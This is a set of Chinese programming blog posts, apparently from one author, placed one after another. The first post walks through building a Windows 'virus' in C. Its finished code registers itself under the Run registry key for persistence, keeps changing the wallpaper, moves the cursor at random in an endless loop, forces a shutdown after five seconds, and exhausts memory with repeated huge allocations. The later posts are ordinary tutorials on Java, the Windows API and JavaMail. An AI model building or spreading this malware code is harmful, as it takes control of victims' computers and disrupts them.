GetCursorPos用于获取鼠标句柄 #include<stdio.h> #include<windows.h> int main() { POINT p; GetCursorPos(&p); return0; } SetCursorPos用于移动鼠标 在使用GetCursorPos获取鼠标句柄之后,可以调用SetCursorPos移动鼠标,它的两个参数分别是x轴和y轴。 函数原型:BOOL SetCursorPos(int X,int Y); 参数: X:指定光标的新的X坐标,以屏幕坐标表示。 Y:指定光标的新的Y坐标,以屏幕坐标表示。 返回值:如果成功,返回非零值;如果失败,返回值是零,若想获得更多错误信息,请调用GetLastError函数。 备注:该光标是共享资源,仅当该光标在一个窗口的客户区域内时它才能移动该光标。 1.3 开机自启动方法 注册表 开机自启动的实现方法就是通过注册表实现,在注册表中有固定的开机自启程序设置位置 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run; HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 在这几项中有我们电脑中的开机自启动程序信息, 例如这个WeChat就是开机时的微信登录程序。 注册表读写方法 RegCreateKey // 打开注册表 LONG WINAPI RegCreateKey( _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _Out_ PHKEY phkResult ); hKey指向当前打开表项的句柄,或者是下列预定义保留句柄值之一,实际上就是注册表中的几个分支。 lpSubKey指向一个空终止的字符串指针,指示这个函数将打开或创建的表项的名称。这个表项必须是由hKey参数所标识的项的子项 phkResult这是一个返回值,指向一个变量的指针,用来接受创建或打开的表项的句柄。当不再需要此返回的注册表项句柄时,调用RegCloseKey函数关闭这个句柄。 RegSetValueEx // 读写注册表 LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE *lpData, DWORD cbData ); hKey一个已打开项的句柄,或指定一个标准项名 lpValueName 指向一个字符串的指针,该字符串包含了欲设置值的名称。若拥有该值名称的值并不存在于指定的注册表项中,则此函数将其加入到该项。如果此值是NULL,或指向空字符串,则此函数为该项的默认值或未命名值设置类型和数据。 Reserved 保留值,必须强制为0 dwType 指定将被存储的数据类型,该参数可以为 REG_BINARY 任何形式的二进制数据 REG_DWORD 一个32位的数字 REG_DWORD_LITTLE_ENDIAN 一个“低字节在前”格式的32位数字 REG_DWORD_BIG_ENDIAN 一个“高字节在前”格式的32位数字 REG_EXPAND_SZ 一个以0结尾的字符串,该字符串包含对环境变量(如“%PAHT”)的未扩展引用 REG_LINK 一个Unicode格式的带符号链接 REG_MULTI_SZ 一个以0结尾的字符串数组,该数组以连接两个0为终止符 REG_NONE 未定义值类型 REG_RESOURCE_LIST 一个设备驱动器资源列表 REG_SZ 一个以0结尾的字符串 lpData 指向一个缓冲区,该缓冲区包含了欲为指定值名称存储的数据。 cbData 指定由lpData参数所指向的数据的大小,单位是字节。 1.4 关机方法 Windows 系统自带一个名为Shutdown.exe的程序,可以用于关机操作(位置在WindowsSystem32下),一般情况下Windows系统的关机都可以通过调用程序 shutdown.exe来实现的,同时该程序也可以用于终止正在计划中的关机操作。 shutdown-a 取消关机 shutdown -s 关机 shutdown -f 强行关闭应用程序 shutdown -m \\计算机名 控制远程计算机 shutdown -i 显示“远程关机”图形用户界面,但必须是Shutdown的第一个参数 shutdown -l 注销当前用户 shutdown -r 关机并重启 shutdown -s -t 时间 设置关机倒计时 shutdown -h 休眠 二 实现 2.1 修改桌面背景代码 图片信息使用了一个PVOID数组,并通过一个for循环不断切换桌面背景。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , ... (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; SystemParametersInfo(20, true,s, 1) ; for(int i=0;i<10;i++){ SystemParametersInfo(20, true,s[i], 1) ; Sleep(1000);//控制时间间隔 } return 0 ; } 2.2 控制鼠标代码 利用随机数和while死循环达到鼠标不受控制疯狂随机移动的功能。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; srand((unsigned)time(NULL)); GetCursorPos (&sb);//获取鼠标坐标 while(1){ SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; } 2.3 开机自启动代码 ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21); 第二个参数是项名称,第五个参数是要开机启动程序的路径位置,最后一个参数是第五个参数路径字符长度。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("新加项名称"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { // 注册表打开失败 cout << "Read error !" << endl ; } return 0 ; } 2.4 关机代码 这个功能实现比较简单。 #include<stdio.h> #include<windows.h> int main(){ // 五秒关机 system("shutdown -s -t 5"); return 0 ; } 三 代码 3.1 注册程序,将病毒主体加入开机自启动 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ HKEY hkey ;//计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run TCHAR p[64] ; long ret; ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey); if(ret==ERROR_SUCCESS){ ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21); // 主 ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要动作 ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//监控实时变化 if(ret==ERROR_SUCCESS){ // 写入成功 }else { // 写入失败 cout << "Write filed !" ; } }else { cout << "Read error !" << endl ; } return 0 ; } 3.2 病毒主体,在上方代码实现开机自启动之后,这段代码可以不断修改壁纸,控制鼠标以及关机。 #include<stdio.h> #include<windows.h> #include<iostream> #include <tchar.h> #include<cstdlib> #include<ctime> using namespace std ; int main(){ POINT sb; PVOID s[10] = { (PVOID)"D:\\windows\\system32\\bin\\background.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background2.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background3.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background4.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background5.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" , (PVOID)"D:\\windows\\system32\\bin\\background9.jpg" }; srand((unsigned)time(NULL)); system("shutdown -s -t 5"); SystemParametersInfo(20, true,s, 1) ; GetCursorPos (&sb);//获取鼠标坐标 int i = 0 ; while(1){ int *p = (int*)malloc(10000000000) ; printf("\a"); SystemParametersInfo(20, true,s[i], 1) ; if(i>=9){ i = 0 ; } SetCursorPos(rand()%1000,rand()%800);//更改鼠标坐标 Sleep(1);//控制移动时间间隔 } return 0 ; } 四 参考 Github地址 : Github
8张图理解Java 一图胜千言,下面图解均来自Program Creek 网站的Java教程,目前它们拥有最多的票选。如果图解没有阐明问题,那么你可以借助它的标题来一窥究竟。 ##1、字符串不变性 下面这张图展示了这段代码做了什么 String s = “abcd”; s = s.concat(“ef”); ##2、equals()方法、hashCode()方法的区别 HashCode被设计用来提高性能。equals()方法与hashCode()方法的区别在于: 如果两个对象相等(equal),那么他们一定有相同的哈希值。如果两个对象的哈希值相同,但他们未必相等(equal)。 ##3、Java异常类的层次结构 图中红色部分为受检查异常。它们必须被捕获,或者在函数中声明为抛出该异常。 ##4、集合类的层次结构 注意Collections和Collection的区别。(Collections包含有各种有关集合操作的静态多态方法) ##5、Java同步Java同步机制可通过类比建筑物来阐明。  ##5、别名 别名意味着有多个变量指向同一可被更新的内存块,这些别名分别是不同的对象类型。 ##7、堆和栈图解表明了方法和对象在运行时内存中的位置。 ##8、Java虚拟机运行时数据区域图解展示了整个虚拟机运行时数据区域的情况。
WindowsAPI每日一练系列 :https://www.cnblogs.com/LexMoon/category/1246238.html WindowsAPI每日一练(1) WinMain WindowsAPI每日一练(2) 使用应用程序句柄 从上面这段程序就可以看到,_tWinMain是应用程序的入口函数,这里是使用它的宏,定义在tchar.h头文件里,为什么要这样作宏定义的呢?由于Windows的应用程序要适应UNICODE和以前单字符的应用程序,由于Windows这两个API的定义是不一样的,如下: UNICODE的定义: #define _tWinMain wWinMain 单字符的定义: #define _tWinMain WinMain 只要经过这样的宏定义后,就可以适应不同字符宽度的函数接口了。由于我是采用UNICODE编译的,所以这里使用wWinMain函数定义,下面再把它的定义找出来,如下: int WINAPI wWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd ); 这里要详细地解释一下函数wWinMain的参数,它有四个参数。 hInstance是当前应用程序的实例句柄,一般用来区分不同的资源使用。 hPrevInstance是以前Win98使用的句柄,在Win2000以后的操作系统里都是空值NULL。 lpCmdLine是命令行参数,比如你在Windows开始菜单里运行一个程序,并添加参数在后面,就会传递给应用程序,后面再详细讨论。 nShowCmd是窗口的显示方式,比如最大化显示,最小化显示,还是正常显示。 Windows运行程序时,是通过运行库里的启动代码来调用wWinMain函数,它是在启动文件里如下调用: #ifdef WPRFLAG mainret = wWinMain( #else /* WPRFLAG */ mainret = WinMain( #endif /* WPRFLAG */ (HINSTANCE)&__ImageBase, NULL, lpszCommandLine, StartupInfo.dwFlags & STARTF_USESHOWWINDOW ? StartupInfo.wShowWindow : SW_SHOWDEFAULT ); 这就是操作系统传递给应用程序的值,现在就来演示使用第一个参数hInstance。 请看下面的例子: 1 #include<windows.h> 2 3 int WINAPI wWinMain( 4 HINSTANCE hInstance, // handle to current instance 5 HINSTANCE hPrevInstance, // handle to previous instance 6 LPSTR lpCmdLine, // command line 7 int nCmdShow // show state 8 ) 9 { 10 UNREFERENCED_PARAMETER(hInstance); 11 UNREFERENCED_PARAMETER(hPrevInstance); 12 UNREFERENCED_PARAMETER(lpCmdLine); 13 UNREFERENCED_PARAMETER(nCmdShow); 14 15 //使用应用程序句柄 16 17 const int MAXSIZE_APPBUF = 256; 18 TCHAR wAppTitle[MAXSIZE_APPBUF]; 19 LoadString(hInstance,IDS_APP_TITLE,wAppTitle,MAXSIZE_APPBUF); 20 21 22 23 //获得桌面句柄 24 HWND hWnd=GetDesktopWindow(); 25 26 //显示第一行信息 27 // ::MessageBox(hWnd,"Hello Window","Hello Window",MB_YESNO); 28 MessageBox(hWnd,"Hello Windows",wAppTitle,MB_YESNO); 29 return 0; 30 } 这个例子是在前面的基础上修改的,主要添加了使用应用程序实例句柄。在第19行里定义了一个保存应用程序标题的缓冲区,然后在第20行里调用函数LoadString从应用程序的资源里加载字符串,它的第一个参数就使用到hInstance句柄。因此应用程序句柄是表示程序在资源上唯一的标识符。 LoadString问题: 作用:从 资源 里加载字符串资源到CString对象里。 声明: 函数LoadString声明如下: 1 WINUSERAPI int WINAPI LoadStringA( 2 3 __in_opt HINSTANCE hInstance, 4 5 __in UINT uID, 6 7 __out_ecount(cchBufferMax) LPSTR lpBuffer, 8 9 __in int nBufferMax); 参数1: hInstance是应用程序实例句柄。 参数2: uID是资源中的字符串编号。 参数3: lpBuffer是接收从资源里拷贝字符串出来的缓冲区。 参数4: nBufferMax是指明缓冲的大小。 参数: hInstance [in]: Handle to an instance of the module whose executable file contains the string resource. To get the handle to the application itself, use GetModuleHandle(NULL). uID [in] : Specifies the integer identifier of the string to be loaded. lpBuffer [out]: Pointer to the buffer to receive the string. nBufferMax [in]: Specifies the size of the buffer, in TCHARs. This refers to bytes for ANSI versions of the function or WCHARs for Unicode versions. The string is truncated and NULL terminated if it is longer than the number of characters specified. 返回值: If the function succeeds, the return value is the number of TCHARs copied into the buffer, not including the terminating NULL character, or zero if the string resource does not exist. To get extended error information, call GetLastError. 说明 Security Alert Using this function incorrectly can compromise the security of your application. Incorrect use includes specifying the wrong size in the nBufferMax parameter. For example, if lpBuffer points to a buffer szBuffer which is declared as TCHAR szBuffer[100], then sizeof(szBuffer) gives the size of the buffer in bytes, which could lead to a buffer overflow for the Unicode version of the function. Buffer overflow situations are the cause of many security problems in applications. In this case, using sizeof(szBuffer)/sizeof(TCHAR) or sizeof(szBuffer)/sizeof(szBuffer[0]) would give the proper size of the buffer. Windows 95/98/Me: LoadStringW is supported by the Microsoft Layer for Unicode. To use this, you must add certain files to your application, as outlined in Microsoft Layer for Unicode on Windows 95/98/Me Systems. 系统要求 Minimum DLL Version: user32.dll Header: Declared in Winuser.h, include Windows.h Import library: User32.lib Minimum operating systems: Windows 95, Windows NT 3.1 Unicode: Implemented as ANSI and Unicode versions. 看完上面的资料可能大家都蒙了,不知道具体是在做什么, 其实这个成员函数是在调用String Table里面定义的信息, 也就是说,把String Table中Caption里面的字符串读出来到CString对象里。 String Table中的ID号及其对应的字符串都是可以自己定义的。 String Table在ResourceView窗口中,也就是ClassView右边那个窗口。 双击之后就能看到,在最下面的选项中追加新的ID信息。 如果还是理解不清楚的话,请自己尝试多读msdn里的英文及例子就明白了。 int LoadString(HINSTANCE hInstance,//应用程序实例句柄 UINT uID,//资源ID LPTSTR lpBuffer,//存放字符串的缓冲区 int nBufferMax//缓冲区大小 ) 作用: 先在资源中加入字符串资源(不管是字符串还是窗口还是按钮),都有一个名字,比如IDC_BUTTON1 然后用这个函数把这个名字作为参数,就可以取出资源中的字符串了 如:一、在resource.h中,#define FIREWALL_ALREADY_START 61452 二、在*.rc文件中: STRINGTABLE DISCARDABLE BEGIN FIREWALL_ALREADY_START "防火墙已经启动" END 三、 CString str; str.LoadString(FIREWALL_ALREADY_START);
WindowsAPI每日一练系列 :https://www.cnblogs.com/LexMoon/category/1246238.html WindowsAPI每日一练(1) WinMain 要跟计算机进行交互,就需要计算机显示信息给人看到,或者发出声音给人听到,然后人看到或听到相应的信息后,再输入其它信息给计算机,这样就可以让计算机进行数据处理,把结果显示给我们。现在就来编写一个最简单的Windows应用程序,让它提示一行文字给我们看到,这就是简单的目标。 1 #include <windows.h> 2 3 int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance 4 HINSTANCE hPrevInstance, // handle to previous instance 5 LPSTR lpCmdLine, // command line 6 int nCmdShow // show state 7 ){ 8 HWND hwnd = GetDesktopWindow(); 9 MessageBoxA(hwnd,"第一个例子","这是标题",MB_OK); 10 return 0; 11 } 下图为VC++6.0中运行效果 MessageBoxA(hwnd,text文本内容,title标题,按钮类型); hWnd: 此参数代表消息框拥有的窗口。如果为NULL,则消息框没有拥有窗口。 按钮: 按钮参数 含义 MB_OK 默认值。有一个确认按钮在里面。 MB_YESNO 有是和否在里面。 MB_ABORTRETRYIGNORE 有Abort(放弃),Retry(重试)和Ignore(跳过) MB_YESNOCANCEL 消息框含有三个按钮:Yes,No和Cancel MB_RETRYCANCEL 有Retry(重试)和Cancel(取消) MB_OKCANCEL 消息框含有两个按钮:OK和Cancel 1 //按钮 2 #define MB_OK 0x00000000L 3 #define MB_OKCANCEL 0x00000001L 4 #define MB_ABORTRETRYIGNORE 0x00000002L 5 #define MB_YESNOCANCEL 0x00000003L 6 #define MB_YESNO 0x00000004L 7 #define MB_RETRYCANCEL 0x00000005L 8 //图标 9 #define MB_ICONHAND 0x00000010L 10 #define MB_ICONQUESTION 0x00000020L 11 #define MB_ICONEXCLAMATION 0x00000030L 12 #define MB_ICONASTERISK 0x00000040L 13 #define MB_USERICON 0x00000080L 14 //图标声明 15 #define MB_ICONWARNINGMB_ICONEXCLAMATION 16 #define MB_ICONERRORMB_ICONHAND 17 #define MB_ICONINFORMATIONMB_ICONASTERISK 18 #define MB_ICONSTOPMB_ICONHAND 19 //默认按钮声明 20 #define MB_DEFBUTTON1 0x00000000L 21 #define MB_DEFBUTTON2 0x00000100L 22 #define MB_DEFBUTTON3 0x00000200L 23 #if(WINVER>=0x0400) 24 #define MB_DEFBUTTON4 0x00000300L//如果支持第四个MessageBox按钮的话,定义DEFButton4 25 #endif 26 //对话框模型定义 27 #define MB_APPLMODAL 0x00000000L 28 #define MB_SYSTEMMODAL 0x00001000L 29 #define MB_TASKMODAL 0x00002000L 30 #define MB_HELP 0x00004000L//是否拥有帮助按钮 31 //特殊声明 32 #define MB_NOFOCUS 0x00008000L 33 #define MB_SETFOREGROUND 0x00010000L 34 #define MB_DEFAULT_DESKTOP_ONLY 0x00020000L 35 #define MB_TOPMOST 0x00040000L 36 #define MB_RIGHT 0x00080000L 37 #define MB_RTLREADING 0x00100000L 图标: 参数 含义 MB_ICONEXCLAMATION 一个惊叹号出现在消息框 MB_ICONWARNING 一个惊叹号出现在消息框 MB_ICONINFORMATION 一个圆圈中小写字母i组成的图标出现在消息框 MB_ICONASTERISK 一个圆圈中小写字母i组成的图标出现在消息框 MB_ICONQUESTION 一个问题标记图标出现在消息框 MB_ICONSTOP 一个停止消息图标出现在消息框 MB_ICONERROR 一个停止消息图标出现在消息框 MB_ICONHAND 一个停止消息图标出现在消息框 形态: 参数 含义 MB_APPLMODAL 在hwnd参数标识的窗口中继续工作以前,用户一定响应消息框。但是,用户可以移动到其他线程的窗口且在这些窗口中工作。根据应用程序中窗口的层次机构,用户则以移动到线程内的其他窗口。所有母消息框的子窗口自动地失效,但是弹出窗口不是这样。如果既没有指定MB_SYSTEMMODAL也没有指定MB_TASKMOOAL,则MB_APPLMODAL为缺省的。 MB_SYSTEMMODAL 除了消息框有WB_EX_TOPMOST类型,MB_APPLMODAL和MB_SYSTEMMODAL一样。用系统模态消息框来改变各种各样的用户,主要的损坏错误需要立即注意(例如,内存溢出)。如果不是那些与hwnd联系的窗口,此标志对用户对窗口的相互联系没有影响。 MB_TASKMODAL 如果参数hwnd为NULL的话,那么除了所有属于当前线程高层次的窗口失效外,MB_TASKMODALL和MB_APPLMODAL一样。当调用应用程序或库没有一个可以得到的窗口句柄时,使用此标志。但仍需要阻止输入到调用线程的其他窗口,而不是搁置其他线程。 其他: 标志 含义 MB_DEFAULT_DESKTOP_ONLY 接收输入的当前桌面一定是一个缺省桌面。否则,函数调用失败。缺省桌面是一个在用户已经纪录且以后应用程序在此上面运行的桌面。 MB_HELP 把一个Help按钮增加到消息框。选择Help按钮或按F1产生一个Help事件。 MB_RIGHT 文本为右调整 MB_RTLREADING 用在Hebrew和Arabic系统中从右到左的顺序显示消息和大写文本。 MB_SETFOREGROUND 消息框变为前景窗口。在内部系统为消息个调用SetForegroundWindow函数。 MB_TOPMOST 消息框用WS_EX_TOPMOST窗口类型来创建MB_SERVICE_NOTIFICATION。 返回值: ID 选择了…… IDOK(1) OK IDCANCEL(2) CANCEL IDABORT(3) ABORT IDRETRY(4) RETRY IDIGNORE(5) IGNORE IDYES(6) YES IDNO(7) NO 备注: 通过将 uType 参数设置为相应的标志值,可以在消息框中系统图标,具体图标可参见MSDN网站。 图标 标志位值 MB_ICONHAND, MB_ICONSTOP, 或者MB_ICONERROR MB_ICONQUESTION MB_ICONEXCLAMATION 或者 MB_ICONWARNING MB_ICONASTERISK 或者 MB_ICONINFORMATION 添加两个从右到左标记 (RLMs),Unicode 格式字符中用 U+200F表示。在消息框显示字符串的开头被由 MessageBox 渲染引擎解释,以致造成 MessageBox 的阅读顺序,呈现为从右向左 (RTL) 。 当您使用一个系统模式消息框指示时,当系统内存不足时,由 lpText 和 lpCaption 的参数的字符串不应被从资源文件,因为加载资源的尝试可能会失败。 如果在一个对话框存在时创建一个消息框,则使用对话框的句柄作为hWnd 参数。hWnd参数不应指定为一个子窗口,就像对话框中的控件一样。 1 #include<windows.h> 2 //切记!当调用<windows.h>时,不要调用MFC!(Afx.h) 3 int main() 4 { 5 int result = MessageBox( NULL , TEXT("这是对话框") , TEXT("你好") , MB_ICONINFORMATION|MB_YESNO); 6 switch(result)/*注意!使用Unicode应用TEXT包围字串*/ 7 { 8 case IDYES:MessageBox(NULL,TEXT("您选择了YES"),TEXT("YES"),MB_OK);break; 9 case IDNO:MessageBox(NULL,TEXT("您选择了NO"),TEXT("NO"),MB_OK);break; 10 } 11 return 0; 12 } 第一步:弹出对话框。语句: 1 int result = MessageBox(NULL,TEXT("这是对话框"),TEXT("你好"),MB_ICONINFORMATION|MB_YESNO); 对话框弹出 选择是:语句: 1 case IDYES:MessageBox(NULL,TEXT("您选择了YES"),TEXT("YES"),MB_OK);break; 选择否:语句: 1 case IDNO:MessageBox(NULL,TEXT("您选择了NO"),TEXT("NO"),MB_OK);break;
使用JavaMail的API发送邮件~! 1 import org.apache.commons.collections.CollectionUtils; 2 import org.apache.log4j.Logger; 3 import org.springframework.stereotype.Service; 4 import javax.mail.*; 5 import javax.mail.internet.AddressException; 6 import javax.mail.internet.InternetAddress; 7 import javax.mail.internet.MimeMessage; 8 import javax.mail.internet.MimeUtility; 9 import java.io.UnsupportedEncodingException; 10 import java.util.*; 11 import java.util.List; 12 13 14 15 @Service 16 public class MailService { 17 private final String MAIL_SMTP_HOST="********@qq.com"; 18 private final String MAIL_SMTP_PORT="465";//465端口是为SMTPS(SMTP-over-SSL)协议服务开放的 19 private final String MAIL_SENDER_MAIL="1325200471@qq.com"; 20 private final String MAIL_SENDER_PASS="*******"; 21 private final String MAIL_SENDER_NICKNAME="腾讯邮箱平台"; 22 private Logger logger = Logger.getLogger(MailService.class); 23 24 public static void main(String[] args) { 25 MailService m = new MailService(); 26 List<String> recipients = new ArrayList<String>(); 27 l.add("***@alibaba-inc.com"); 28 29 List<String> copyToRecipients = new ArrayList<String>(); 30 l1.add("***@alibaba-inc.com"); 31 32 try { 33 m.sendMail("title","content",recipients,copyToRecipients,null); 34 } catch (MessagingException e) { 35 e.printStackTrace(); 36 } catch (UnsupportedEncodingException e) { 37 e.printStackTrace(); 38 } 39 } 40 41 /** 42 * 初始化Session 43 * @return 44 */ 45 private Session getMailSession(){ 46 Properties props = new Properties(); 47 48 props.put("mail.smtp.host", MAIL_SMTP_HOST); 49 props.put("mail.smtp.port", MAIL_SMTP_PORT); 50 props.put("mail.smtp.auth", "true"); 51 props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); 52 53 Session session = Session.getDefaultInstance(props, new Authenticator() { 54 protected PasswordAuthentication getPasswordAuthentication() { 55 return new PasswordAuthentication(MAIL_SENDER_MAIL, MAIL_SENDER_PASS); 56 } 57 }); 58 59 return session; 60 } 61 62 /** 63 * 64 * @param title 邮件标题 65 * @param content 邮件内容 66 * @param recipients 收件人邮箱列表 67 * @param copyToRecipients 抄送人邮箱列表 68 * @param secretCopyToRecipients 密送人邮箱列表 69 * @throws MessagingException 70 * @throws UnsupportedEncodingException 71 */ 72 public boolean sendMail(String title,String content,Collection<String> recipients, 73 Collection<String> copyToRecipients,Collection<String> secretCopyToRecipients) throws AddressException, MessagingException, UnsupportedEncodingException { 74 // 初始化收件人、抄送、密送邮箱列表 75 List<InternetAddress> toAddresses = parseStringToAddress(recipients); 76 List<InternetAddress> ccAddresses = parseStringToAddress(copyToRecipients); 77 List<InternetAddress> bccAddresses = parseStringToAddress(secretCopyToRecipients); 78 //初始化邮件内容 79 Message message = new MimeMessage(getMailSession()); 80 message.setFrom(new InternetAddress(MAIL_SENDER_MAIL, MAIL_SENDER_NICKNAME)); 81 String subject = MimeUtility.encodeWord(title, "UTF-8", "Q");//设置标题编码 82 message.setSubject(subject); 83 message.setContent(content, "text/html; charset=utf-8"); 84 85 // 收件人 86 message.setRecipients(Message.RecipientType.TO, toAddresses.toArray(new InternetAddress[toAddresses.size()])); 87 88 // 抄送 89 message.setRecipients(Message.RecipientType.CC, ccAddresses.toArray(new InternetAddress[ccAddresses.size()])); 90 91 // 密送 92 message.setRecipients(Message.RecipientType.BCC, bccAddresses.toArray(new InternetAddress[bccAddresses.size()])); 93 94 message.saveChanges(); 95 96 Transport.send(message); 97 98 return true;//不报异常表示邮件发送成功 99 } 100 101 /** 102 * 将字符串类型的邮箱地址转成InternetAddress类型的邮箱地址 103 * @param mailStrings 104 * @return List<InternetAddress> 105 */ 106 private List<InternetAddress> parseStringToAddress(Collection<String> mailStrings) throws AddressException { 107 108 if(CollectionUtils.isEmpty(mailStrings)){ 109 return Collections.emptyList(); 110 } 111 List<InternetAddress> addressList = new ArrayList<InternetAddress>(); 112 113 for(String mailString:mailStrings){ 114 InternetAddress internetAddress = new InternetAddress(mailString); 115 addressList.add(internetAddress); 116 } 117 return addressList; 118 } 119 120 } 可能出现的错误:Could not connect to SMTP host: smtp.***.com, port: 465, response: -1 在使用javamail进行邮件发送的时候,报错: Could not connect to SMTP host: smtp.***.com, port: 465, response: -1 原因: 1 props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); 扩展-邮件服务端口: 25端口(SMTP):25端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务所开放的,是用于发送邮件。如今绝大多数邮件服务器都使用该协议。当你给别人发送邮件时,你的机器的某个动态端口(大于1024)就会与邮件服务器的25号端口建立一个连接,你发送的邮件就会通过这个连接传送到邮件服务器上,保存起来。 109端口(POP2):109端口是为POP2(Post Office Protocol Version 2,邮局协议2)服务开放的,是用于接收邮件的。 110端口(POP3):110端口是为POP3(Post Office Protocol Version 3,邮局协议3)服务开放的,是用于接收邮件的。 143端口(IMAP):143端口是为IMAP(INTERNET MESSAGE ACCESS PROTOCOL)服务开放的,是用于接收邮件的。 目前POP3使用的比POP2广得多,POP2几乎被淘汰,也有某些服务器同时支持POP2和POP3协议。客户端可以使用POP3协议来访问服务端的邮件服务,如今ISP的绝大多数邮件服务器都是使用POP3协议(极少用POP2协议)。在使用邮件客户端程序的时候,会要求输入POP3服务器地址,默认情况下使用的就是110端口。当你用邮件客户端(比如、Thunderbird、foxmail、MS Outlook Express以及各类邮件精灵)登录时,你的机器就会自动用机器的某一个动态端口(大于1024)连接邮件服务器的110端口,服务器就把别人给你发的邮件(之前保存在邮件服务器上),发送到你机器,这样你就可以看到你客户端工具上的收件箱里的新邮件了。 IMAP协议,和POP3协议一样是用来接收邮件的,但是它有它的特别和新颖之处,它是面向用户的,它和POP3协议的主要区别是:用户可以不用把所有的邮件内容全部下载,而是只下载邮件标题和发件人等基本信息,用户可以由标题等基本信息,去决定是否下载邮件全文,用户可以通过客户端的浏览器直接对服务器上的邮件进行操作(比如:打开阅读全文、丢进垃圾箱、永久删除、整理到某文件夹下、归档、)。再简单来说就是:浏览器用的IMAP协议(143端口)来为你接收邮件以及让你很方便的操作服务器上的邮件。邮件客户端用的POP3协议(110端口)来为你接收邮件的全部信息和全文内容保存到你的本地机器成为一个副本,你对邮件客户端上的副本邮件的任何操作都是在副本上,不干涉邮件服务器上为你保存的邮件原本。 上面介绍的SMTP协议、POP2协议、POP3协议、IMAP协议都是不安全的协议。因考虑到网络安全的因素,下面给你介绍基于SSL(Secure Sockets Layer 安全套接层)协议的安全的邮件收发协议。你的邮件在传输过程中可能被网络黑客截取邮件内容,如果你的邮件机密性非常强,不想被收件人以外的任何人和任何黑客截取,或者是涉及国家机密安全的,等等。那么你的邮件就不该使用上述的三种协议进行收发。 若你采用SMTP协议发邮件,那么你发出的邮件从你的机器传到服务器的过程中,可能被黑客截取从而泄露。****若你采用POP2或者POP3协议收取邮件,那么你的邮件从服务器传至你当前机器的过程可能被黑客截取从而泄露。 465端口(SMTPS):465端口是为SMTPS(SMTP-over-SSL)协议服务开放的,这是SMTP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。SMTPS和SMTP协议一样,也是用来发送邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件发送者抗抵赖功能。防止发送者发送之后删除已发邮件,拒不承认发送过这样一份邮件。 995端口(POP3S):995端口是为POP3S(POP3-over-SSL)协议服务开放的,这是POP3协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。POP3S和POP3协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。 993端口(IMAPS):993端口是为IMAPS(IMAP-over-SSL)协议服务开放的,这是IMAP协议基于SSL安全协议之上的一种变种协议,它继承了SSL安全协议的非对称加密的高度安全可靠性,可防止邮件泄露。IMAPS和IMAP协议一样,也是用来接收邮件的,只是更安全些,防止邮件被黑客截取泄露,还可实现邮件接收方抗抵赖功能。防止收件者收件之后删除已收邮件,拒不承认收到过这样一封邮件。
